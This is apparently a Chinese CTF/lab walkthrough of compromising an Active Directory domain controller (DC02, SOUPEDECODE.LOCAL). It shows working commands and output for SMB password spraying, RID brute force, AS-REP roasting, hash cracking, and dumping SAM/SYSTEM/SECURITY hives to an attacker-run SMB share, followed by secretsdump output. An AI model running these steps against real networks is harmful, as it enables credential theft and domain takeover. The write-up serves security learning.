&lt;hr&gt;
&lt;h5&gt;🟦 4. SMB 错误码非常准确 → 最容易判断密码是否正确&lt;/h5&gt;
&lt;p&gt;例如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;密码正确 → 明确返回成功&lt;/li&gt;
&lt;li&gt;密码错误 → 返回 STATUS_LOGON_FAILURE&lt;/li&gt;
&lt;li&gt;账户锁定 → 返回 STATUS_ACCOUNT_LOCKED_OUT&lt;/li&gt;
&lt;li&gt;用户存在但密码不对 → 明确区分&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;🔍 所以：&lt;strong&gt;密码喷洒、爆破都以 SMB 最精确、最稳。&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h5&gt;🟦 5. 其他协议不适合作为“第一步攻击面”&lt;/h5&gt;
&lt;p&gt;你可能会问：&lt;/p&gt;
&lt;p&gt;为什么不直接用 WinRM、LDAP、Kerberos？&lt;/p&gt;
&lt;p&gt;因为：&lt;/p&gt;
&lt;h6&gt;❌ WinRM&lt;/h6&gt;
&lt;ul&gt;
&lt;li&gt;默认不开&lt;/li&gt;
&lt;li&gt;服务器端口5985/5986可能被关闭&lt;/li&gt;
&lt;li&gt;要求用户必须属于 &lt;strong&gt;Remote Management Users&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h6&gt;❌ LDAP&lt;/h6&gt;
&lt;ul&gt;
&lt;li&gt;多数域控启用&lt;/li&gt;
&lt;li&gt;但普通用户能做的事情有限（查信息，不执行命令）&lt;/li&gt;
&lt;/ul&gt;
&lt;h6&gt;❌ Kerberos&lt;/h6&gt;
&lt;ul&gt;
&lt;li&gt;对密码判断没 SMB 精准&lt;/li&gt;
&lt;li&gt;不支持执行命令或横向移动&lt;/li&gt;
&lt;/ul&gt;
&lt;h6&gt;❌ SSH / FTP / RDP&lt;/h6&gt;
&lt;ul&gt;
&lt;li&gt;很多主机根本没有这些协议&lt;/li&gt;
&lt;li&gt;在 AD 环境不稳定&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因此：&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;SMB 是攻击面最广、最稳定、成功率最高的协议&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/tools/kerbrute]
└─# netexec smb SOUPEDECODE.LOCAL -u user.txt -p user.txt --continue-on-success 
SMB         10.0.90.222     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)                                                                                                                                                         
SMB         10.0.90.222     445    DC01             [-] SOUPEDECODE.LOCAL\admin:admin STATUS_LOGON_FAILURE 
SMB         10.0.90.222     445    DC01             [-] SOUPEDECODE.LOCAL\ADMIN:admin STATUS_LOGON_FAILURE 
SMB         10.0.90.222     445    DC01             [-] SOUPEDECODE.LOCAL\Administrator:admin STATUS_LOGON_FAILURE 
SMB         10.0.90.222     445    DC01             [-] SOUPEDECODE.LOCAL\charlie:admin STATUS_LOGON_FAILURE 
SMB         10.0.90.222     445    DC01             [-] SOUPEDECODE.LOCAL\admin:ADMIN STATUS_LOGON_FAILURE 
SMB         10.0.90.222     445    DC01             [-] SOUPEDECODE.LOCAL\ADMIN:ADMIN STATUS_LOGON_FAILURE 
SMB         10.0.90.222     445    DC01             [-] SOUPEDECODE.LOCAL\Administrator:ADMIN STATUS_LOGON_FAILURE 
SMB         10.0.90.222     445    DC01             [-] SOUPEDECODE.LOCAL\charlie:ADMIN STATUS_LOGON_FAILURE 
SMB         10.0.90.222     445    DC01             [-] SOUPEDECODE.LOCAL\admin:Administrator STATUS_LOGON_FAILURE 
SMB         10.0.90.222     445    DC01             [-] SOUPEDECODE.LOCAL\ADMIN:Administrator STATUS_LOGON_FAILURE 
SMB         10.0.90.222     445    DC01             [-] SOUPEDECODE.LOCAL\Administrator:Administrator STATUS_LOGON_FAILURE 
SMB         10.0.90.222     445    DC01             [-] SOUPEDECODE.LOCAL\charlie:Administrator STATUS_LOGON_FAILURE 
SMB         10.0.90.222     445    DC01             [-] SOUPEDECODE.LOCAL\admin:charlie STATUS_LOGON_FAILURE 
SMB         10.0.90.222     445    DC01             [-] SOUPEDECODE.LOCAL\ADMIN:charlie STATUS_LOGON_FAILURE 
SMB         10.0.90.222     445    DC01             [-] SOUPEDECODE.LOCAL\Administrator:charlie STATUS_LOGON_FAILURE 
SMB         10.0.90.222     445    DC01             [+] SOUPEDECODE.LOCAL\charlie:charlie 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;默认情况下，NetExec 在某个账号密码组合 &lt;strong&gt;登录成功后会停止该用户的进一步尝试&lt;/strong&gt;。  &lt;/p&gt;
&lt;p&gt; 但加上：  --continue-on-success   &lt;/p&gt;
&lt;p&gt; 就算密码尝试成功也继续用该用户尝试密码本里的其他密码&lt;/p&gt;
&lt;p&gt; --no-bruteforce   &lt;strong&gt;避免产生暴力破解行为&lt;/strong&gt;。  &lt;/p&gt;
&lt;p&gt;如果有以下场景：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-u user.txt -p user.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;username 和 password 列表相同&lt;br&gt;会产生很多（每个用户 × 每个密码）的组合&lt;/p&gt;
&lt;p&gt;比如 user.txt 里有 100 行&lt;br&gt;将产生 100 × 100 = &lt;strong&gt;10000 次尝试&lt;/strong&gt; → 这就变成 &lt;strong&gt;暴力破解&lt;/strong&gt; 了。&lt;/p&gt;
&lt;p&gt;加上：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;--no-bruteforce
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;表示：&lt;/p&gt;
&lt;p&gt;❌ 不要对每个用户尝试整个密码列表&lt;br&gt;✔ 只尝试 “username=password” 一一对应的组合&lt;/p&gt;
&lt;p&gt;也就是说：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;alice:alice   bob:bob   charlie:charlie&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/tools/kerbrute]
└─# crackmapexec smb 10.0.90.222 -u user.txt -p user.txt --continue-on-success --no-bruteforce 

SMB         10.0.90.222     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB         10.0.90.222     445    DC01             [-] SOUPEDECODE.LOCAL\admin:admin STATUS_LOGON_FAILURE 
SMB         10.0.90.222     445    DC01             [-] SOUPEDECODE.LOCAL\ADMIN:ADMIN STATUS_LOGON_FAILURE 
SMB         10.0.90.222     445    DC01             [-] SOUPEDECODE.LOCAL\Administrator:Administrator STATUS_LOGON_FAILURE 
SMB         10.0.90.222     445    DC01             [+] SOUPEDECODE.LOCAL\charlie:charlie 
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;渗透Charlie&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# crackmapexec smb 172.16.55.130 -u charlie -p charlie                         
SMB         172.16.55.130   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB         172.16.55.130   445    DC01             [-] Connection Error: The NETBIOS connection with the remote host timed out.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;crackmapexec smb 172.16.55.130 -u charlie -p charlie --shares
SMB         172.16.55.130   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB         172.16.55.130   445    DC01             [+] SOUPEDECODE.LOCAL\charlie:charlie 
SMB         172.16.55.130   445    DC01             [+] Enumerated shares
SMB         172.16.55.130   445    DC01             Share           Permissions     Remark
SMB         172.16.55.130   445    DC01             -----           -----------     ------
SMB         172.16.55.130   445    DC01             ADMIN$                          Remote Admin
SMB         172.16.55.130   445    DC01             C$                              Default share
SMB         172.16.55.130   445    DC01             IPC$            READ            Remote IPC
SMB         172.16.55.130   445    DC01             NETLOGON        READ            Logon server share 
SMB         172.16.55.130   445    DC01             SYSVOL          READ            Logon server share 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;charlie用户只有标准的域用户权限，无法访问敏感共享。&lt;/p&gt;
&lt;h1&gt;域用户进一步枚举&lt;/h1&gt;
&lt;h2&gt;RID爆破  RID 爆破&lt;/h2&gt;
&lt;p&gt;使用charlie用户的凭据进行RID爆破，获取更多用户信息：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nxc smb 192.168.205.146 -u charlie -p charlie --rid-brute|awk -F &amp;#39;\&amp;#39; &amp;#39;{print $2}&amp;#39;|awk &amp;#39;{print $1}&amp;#39; &amp;gt; user
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ASREPRoasting 攻击&lt;/h2&gt;
&lt;p&gt;参考：&lt;a href=&quot;https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/asreproast.html?highlight=AS-REP#asreproast-without-credentials&quot;&gt;https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/asreproast.html?highlight=AS-REP#asreproast-without-credentials&lt;/a&gt;&lt;br&gt;参考：&lt;a href=&quot;https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/asreproast.html%EF%BC%9Fhighlight=AS-REP#asreproast-without-credentials&quot;&gt;https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/asreproast.html？highlight=AS-REP#asreproast-without-credentials&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;使用GetNPUsers工具检查是否有用户设置了&amp;quot;不要求Kerberos预认证&amp;quot;属性：&lt;/p&gt;
&lt;p&gt;正常流程（有预认证）：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;客户端把“用密码加密的时间戳”发给域控&lt;/li&gt;
&lt;li&gt;域控解密成功 → 证明你确实知道密码&lt;/li&gt;
&lt;li&gt;域控发给你票据&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;如果&lt;strong&gt;不要求预认证&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;客户端什么都不用证明&lt;br&gt;域控直接发给你一段“用用户密码加密的数据”（AS-REP）&lt;br&gt;⚠️ 任何人都可以拿回去慢慢爆破&lt;/p&gt;
&lt;p&gt;意思就是：&lt;br&gt;❗ &lt;strong&gt;域控免费送你一个可离线爆破密码的密文&lt;/strong&gt;&lt;br&gt;❗ &lt;strong&gt;不限次数&lt;/strong&gt;&lt;br&gt;❗ &lt;strong&gt;不会锁定账户&lt;/strong&gt;&lt;br&gt;❗ &lt;strong&gt;永远不会报警&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC02]
└─# impacket-GetNPUsers -usersfile user -dc-ip 172.16.55.130 &amp;#39;SOUPEDECODE.LOCAL/charlie:charlie&amp;#39; |grep -v &amp;quot;-&amp;quot;

$krb5asrep$23$zximena448@SOUPEDECODE.LOCAL:74b7f0a590296d9c3eb6118f7c38a98b$942ed00a3bf5befca1b8f287858ebbab857c60f0889492fc9949930cc469336be125b28b9afd49e2614587d39086a56119c364cacfa611421217c2fa1bc6e32c0239d6c39843ef898f0bf86e23bbdebd655f23976c56fb07e633270ea47936eaf59ef2505337ada1d75a9b57973d26794687ecfd4e5624f374d753a438ad83ef82d36f481143cbc1d34654e48e99fa5fffe19196bbd90c3d67d6d923712f775e9f0b527697b33ed78c87bd94716c608de049673e2ec54dd99b2b1b8cfbd0f19582e7a97912cb813a98e10a5860182d2c4f8012248adc58a23fed11a58d3f6a316c135f312e5a9903cd99410e1f637a81a435b1351c5e
                                                                                                        
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;哈希破解&lt;/h2&gt;
&lt;p&gt;使用john工具破解AS-REP哈希：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC02]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status
internet         ($krb5asrep$23$zximena448@SOUPEDECODE.LOCAL)     
1g 0:00:00:00 DONE (2025-12-07 05:01) 100.0g/s 102400p/s 102400c/s 102400C/s 123456..bethany
Use the &amp;quot;--show&amp;quot; option to display all of the cracked passwords reliably
Session completed. 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功破解密码：&lt;code&gt;zximena448:internet&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;权限提升&lt;/h1&gt;
&lt;h2&gt;验证新凭据&lt;/h2&gt;
&lt;p&gt;使用新获得的凭据测试权限：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC02]
└─# nxc smb 172.16.55.130 -u zximena448 -p internet --shares
[*] Initializing SMB protocol database
SMB         172.16.55.130   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)                                                                                                                                                       
SMB         172.16.55.130   445    DC01             [+] SOUPEDECODE.LOCAL\zximena448:internet 
SMB         172.16.55.130   445    DC01             [*] Enumerated shares
SMB         172.16.55.130   445    DC01             Share           Permissions     Remark
SMB         172.16.55.130   445    DC01             -----           -----------     ------
SMB         172.16.55.130   445    DC01             ADMIN$          READ            Remote Admin
SMB         172.16.55.130   445    DC01             C$              READ,WRITE      Default share
SMB         172.16.55.130   445    DC01             IPC$            READ            Remote IPC
SMB         172.16.55.130   445    DC01             NETLOGON        READ            Logon server share 
SMB         172.16.55.130   445    DC01             SYSVOL          READ            Logon server share 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;zximena448用户具有更高权限，可以访问ADMIN$和C$共享。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC02]
└─# smbclient -U &amp;quot;SOUPEDECODE.LOCAL\zximena448&amp;quot; //172.16.55.130/C$ 
Password for [SOUPEDECODE.LOCAL\zximena448]:
Try &amp;quot;help&amp;quot; to get a list of possible commands.
smb: \&amp;gt; ls
  $WinREAgent                        DH        0  Sat Jun 15 15:19:51 2024
  Documents and Settings          DHSrn        0  Sat Jun 15 22:51:08 2024
  DumpStack.log.tmp                 AHS    12288  Sun Dec  7 20:27:15 2025
  pagefile.sys                      AHS 1476395008  Sun Dec  7 20:27:15 2025
  PerfLogs                            D        0  Sat May  8 04:15:05 2021
  Program Files                      DR        0  Sat Jun 15 13:54:31 2024
  Program Files (x86)                 D        0  Sat May  8 05:34:13 2021
  ProgramData                       DHn        0  Sat Jun 15 22:51:08 2024
  Recovery                         DHSn        0  Sat Jun 15 22:51:08 2024
  System Volume Information         DHS        0  Sat Jun 15 15:02:21 2024
  Users                              DR        0  Mon Jun 17 14:31:08 2024
  Windows                             D        0  Wed Aug 20 17:13:31 2025

                12942591 blocks of size 4096. 10862525 blocks available
smb: \&amp;gt; cd /Users/zximena448/desktop
smb: \Users\zximena448\desktop\&amp;gt; ls
  .                                  DR        0  Mon Jun 17 14:31:24 2024
  ..                                  D        0  Mon Jun 17 14:30:22 2024
  desktop.ini                       AHS      282  Mon Jun 17 14:30:22 2024
  user.txt                            A       33  Wed Jun 12 16:01:30 2024

                12942591 blocks of size 4096. 10862525 blocks available
smb: \Users\zximena448\desktop\&amp;gt; get user.txt
getting file \Users\zximena448\desktop\user.txt of size 33 as user.txt (2.7 KiloBytes/sec) (average 2.7 KiloBytes/sec)
smb: \Users\zximena448\desktop\&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC02]
└─# cat user.txt
2fe79eb0e02ecd4dd2833cfcbbdb504c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;更换新IP ：172.16.55.130&lt;/p&gt;
&lt;h3&gt;LDAP信息搜集&lt;/h3&gt;
&lt;p&gt;有了新的凭证，就暂时不用考虑&lt;code&gt;kerberos&lt;/code&gt;了，尝试通过&lt;code&gt;LDAP&lt;/code&gt;收集AD域的相关信息，使用到了一个叫&lt;code&gt;ldapdomaindump&lt;/code&gt;的工具： &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/…/Desktop/hmv/DC02/zximena448]
└─# grep -Pinr zximena448                             
domain_users_by_group.html:489:&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Zach Ximena&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Zach Ximena&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;zximena448&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;06/15/24 20:04:37&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;12/08/25 01:58:02&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;12/08/25 01:58:02&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQ_PREAUTH&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;06/17/24 18:09:53&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;abbr title=&amp;quot;S-1-5-21-2986980474-46765180-2505414164-1142&amp;quot;&amp;gt;1142&amp;lt;/abbr&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Volunteer teacher and education advocate&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
domain_users_by_group.html:997:&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Zach Ximena&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Zach Ximena&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;zximena448&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;06/15/24 20:04:37&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;12/08/25 01:58:02&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;12/08/25 01:58:02&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQ_PREAUTH&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;06/17/24 18:09:53&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;abbr title=&amp;quot;S-1-5-21-2986980474-46765180-2505414164-1142&amp;quot;&amp;gt;1142&amp;lt;/abbr&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Volunteer teacher and education advocate&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
domain_users.json:59484:            &amp;quot;zximena448@soupedecode.local&amp;quot;
domain_users.json:59517:            &amp;quot;zximena448&amp;quot;
domain_users.json:59547:            &amp;quot;zximena448@soupedecode.local&amp;quot;
domain_users.html:489:&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Zach Ximena&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Zach Ximena&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;zximena448&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;a href=&amp;quot;domain_users_by_group.html#cn_Backup_Operators&amp;quot; title=&amp;quot;CN=Backup Operators,CN=Builtin,DC=SOUPEDECODE,DC=LOCAL&amp;quot;&amp;gt;Backup Operators&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;a href=&amp;quot;domain_users_by_group.html#cn_Domain_Users&amp;quot; title=&amp;quot;CN=Domain Users,CN=Users,DC=SOUPEDECODE,DC=LOCAL&amp;quot;&amp;gt;Domain Users&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;06/15/24 20:04:37&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;12/08/25 01:58:02&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;12/08/25 01:58:02&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQ_PREAUTH&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;06/17/24 18:09:53&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;abbr title=&amp;quot;S-1-5-21-2986980474-46765180-2505414164-1142&amp;quot;&amp;gt;1142&amp;lt;/abbr&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Volunteer teacher and education advocate&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
domain_users.grep:459:Zach Ximena       Zach Ximena     zximena448      Backup Operators        Domain Users    06/15/24 20:04:37       12/08/25 01:58:02 12/08/25 01:58:02        NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQ_PREAUTH    06/17/24 18:09:53       S-1-5-21-2986980474-46765180-2505414164-1142    Volunteer teacher and education advocate
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;grep -Pinr zximena448  &lt;/p&gt;
&lt;h2&gt;(1) -P&lt;/h2&gt;
&lt;p&gt;启用 Perl 兼容正则表达式（PCRE）&lt;br&gt;也就是说，搜索规则可以使用更强的正则语法。&lt;br&gt;但这里你搜索的是纯字符串 &lt;code&gt;**zximena448**&lt;/code&gt;，所以 -P 没有特别作用。&lt;/p&gt;
&lt;h2&gt;(2) -i&lt;/h2&gt;
&lt;p&gt;忽略大小写（case-insensitive）。&lt;br&gt;不管目标内容是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;zximena448&lt;/li&gt;
&lt;li&gt;Zximena448&lt;/li&gt;
&lt;li&gt;ZXIMENA448&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;都会被匹配到。&lt;/p&gt;
&lt;h2&gt;(3) -n&lt;/h2&gt;
&lt;p&gt;显示匹配的行号。&lt;/p&gt;
&lt;h2&gt;(4) -r&lt;/h2&gt;
&lt;p&gt;递归搜索（recursive）。&lt;br&gt;从当前目录开始，包含所有子目录及子文件全部搜索。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;zximena448账户基础信息解析&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;姓名：Zach Ximena  
账户名：zximena448  
SID：S-1-5-21-2986980474-46765180-2505414164-1142  
组成员：Backup Operators、Domain Users  
账户类型：NORMAL_ACCOUNT  
密码永不过期 (DONT_EXPIRE_PASSWD)  
不需要 Kerberos 预认证 (DONT_REQ_PREAUTH) ← ★关键
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;🔥 重要点：DONT_REQ_PREAUTH = 不需要 Kerberos 预认证&lt;/h5&gt;
&lt;p&gt;这意味着该用户 &lt;strong&gt;可被 AS-REP Roasting&lt;/strong&gt;（AS-REP爆破/脱机破解）。&lt;br&gt;也就是说攻击者可以直接向 DC 请求一个可破解的加密票据。&lt;/p&gt;
&lt;p&gt;➡️ 使用工具：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;impacket-GetNPUsers soupedecode.local/zximena448 -dc-ip &amp;lt;DC&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这能直接得到可破解的密文。&lt;/p&gt;
&lt;hr&gt;
&lt;h4&gt;✅ 2. 组成员信息解析&lt;/h4&gt;
&lt;p&gt;最关键的是：&lt;/p&gt;
&lt;h5&gt;Backup Operators（备份操作员）&lt;/h5&gt;
&lt;p&gt;Windows 内置高权限组，它的权限包括：&lt;/p&gt;
&lt;p&gt;✔ 可以 &lt;strong&gt;备份与还原整个系统&lt;/strong&gt;&lt;br&gt;✔ 可绕过文件 ACL&lt;br&gt;✔ 可利用 &lt;code&gt;SeBackupPrivilege&lt;/code&gt; 和 &lt;code&gt;SeRestorePrivilege&lt;/code&gt; 实现 &lt;strong&gt;本地提权&lt;/strong&gt;&lt;br&gt;✔ 在某些场景下甚至能 &lt;strong&gt;读取 NTDS.dit&lt;/strong&gt;（域控数据库）&lt;/p&gt;
&lt;p&gt;➡️ 攻击者可以通过该组权限：&lt;/p&gt;
&lt;h5&gt;★ 提权方式：&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;利用 &lt;code&gt;SeBackupPrivilege&lt;/code&gt; 读取任意文件&lt;/li&gt;
&lt;li&gt;读取 SYSTEM + SAM（本地哈希），甚至&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;读取 NTDS.dit（整个域哈希）&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;提取hash获取凭证&lt;/h2&gt;
&lt;p&gt;接下来就是搞一个临时的&lt;code&gt;smb&lt;/code&gt;服务器，尝试将远程文件及hash导入本地尝试破解：  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC02]
└─# mkdir share     
                                                                                                                                                           
┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC02]
└─# impacket-smbserver -smb2support kali ./share  
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;impacket-smbserver -smb2support kali ./share&lt;/p&gt;
&lt;p&gt;这条命令含义：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;创建 SMB 共享名：kali

实际对应本地目录：./share
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# impacket-reg &amp;quot;SOUPEDECODE.LOCAL/zximena448:internet@172.16.55.130&amp;quot; backup -o //172.16.55.210/kali                        
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[!] Cannot check RemoteRegistry status. Triggering start trough named pipe...
[*] Saved HKLM\SAM to //172.16.55.210/kali\SAM.save
[*] Saved HKLM\SYSTEM to //172.16.55.210/kali\SYSTEM.save
[*] Saved HKLM\SECURITY to //172.16.55.210/kali\SECURITY.save
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;impacket-reg&lt;/code&gt; 会自动把导出的 SAM / SYSTEM / SECURITY 保存到你指定的 UNC 路径（你的 SMB 共享目录），所以你看到它存到了kali：也就是你用 &lt;code&gt;impacket-smbserver&lt;/code&gt; 开出的共享目录 &lt;strong&gt;./share&lt;/strong&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;&lt;code&gt;impacket-secretsdump&lt;/code&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/…/Desktop/hmv/DC02/share]
└─# impacket-secretsdump -system SYSTEM.save -security SECURITY.save -sam SAM.save LOCAL
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x0c7ad5e1334e081c4dfecd5d77cc2fc6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:6bb0837cc9ef088d840c0fbc9c052c6ce6d1e3aca32a2ae3922805d644d7e3223f48b4e08088f76370bbb8ab85264cb4720b282643921402676be48d8d346686e2e12705a353bc9120306f4f5f49f107a27e01e2348e4b882338ec41c4f39e61e9dfa5e58f83637657c431c3d78d661ab091b9c0711f7e8ad0b0be5c73961a1d6cbee0f9c865bd8619c756241dc865f64effe8bbcf55fb8187f1fa18043eff8d8e5c4e5bf99d09d854b89c2296f658a08643bba26489f1b04012cb2eef8de0aa453c334218a45470f95de935855cbcf4aa87664bd81b7d52d72ed261c7a374b081db7d707546f18e53ed27e768e2c6aa
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:f9b18cfad5dc2ace780c2474e19ff1c6
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x829d1c0e3b8fdffdc9c86535eac96158d8841cf4
dpapi_userkey:0x4813ee82e68a3bf9fec7813e867b42628ccd9503
[*] NL$KM 
 0000   44 C5 ED CE F5 0E BF 0C  15 63 8B 8D 2F A3 06 8F   D........c../...
 0010   62 4D CA D9 55 20 44 41  75 55 3E 85 82 06 21 14   bM..U DAuU&amp;gt;...!.
 0020   8E FA A1 77 0A 9C 0D A4  9A 96 44 7C FC 89 63 91   ...w......D|..c.
